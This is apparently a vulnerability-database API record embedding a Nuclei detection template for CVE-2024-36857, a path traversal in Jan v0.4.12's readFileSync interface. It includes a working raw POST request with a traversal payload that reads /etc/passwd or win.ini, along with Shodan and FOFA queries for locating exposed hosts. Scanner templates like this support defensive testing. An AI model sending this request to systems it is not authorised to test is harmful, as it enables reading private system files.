{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-36857/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-36857/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-36857/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-36857/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-36857/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-36857"},"sightings":{"href":"/api/v1/sightings/cve-2024-36857"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-36857.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2024-36857\n\ninfo:\n  name: Jan v0.4.12 'readFileSync' - Path Traversal\n  author: Yusuf Amr\n  severity: high\n  description: |\n    Jan v0.4.12 was discovered to contain an arbitrary file read vulnerability via the /v1/app/readFileSync interface.\n  impact: |\n    Unauthenticated attackers can read arbitrary files from the system via path traversal in the readFileSync interface.\n  remediation: |\n    Update Jan to a version later than v0.4.12 that patches the path traversal vulnerability.\n  reference:\n    - https://www.wiz.io/vulnerability-database/cve/cve-2024-36857\n    - https://github.com/HackAllSec/CVEs/tree/main/Jan%20AFR%20vulnerability\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2024-36857\n    epss-score: 0.02054\n    epss-percentile: 0.80452\n    cpe: cpe:2.3:a:homebrew:jan:0.4.12:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    shodan-query: http.favicon.hash:\"-165268926\"\n    fofa-query: icon_hash=\"-165268926\"\n    vendor: homebrew\n    product: jan\n  tags: cve,cve2024,jan,lfi,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /v1/app/readFileSync HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: text/plain;charset=UTF-8\n\n        [\"file:/../../../../../..{{path}}\",\"utf-8\"]\n\n    payloads:\n      path:\n        - '/etc/passwd'\n        - '/Windows/win.ini'\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n          - \"\\\\[(font|extension|file)s\\\\]\"\n        condition: or\n\n      - type: word\n        part: content_type\n        words:\n          - \"text/plain\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100e96fa261d2b881b31c0e25f6517c242b92ef1e5080f9a3d0084a6444dd26924e0220188d125cdc9b2c34023eb24a53d88e61cdb095e71b74f24c06ff0f92b2759eba:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2024-36857"}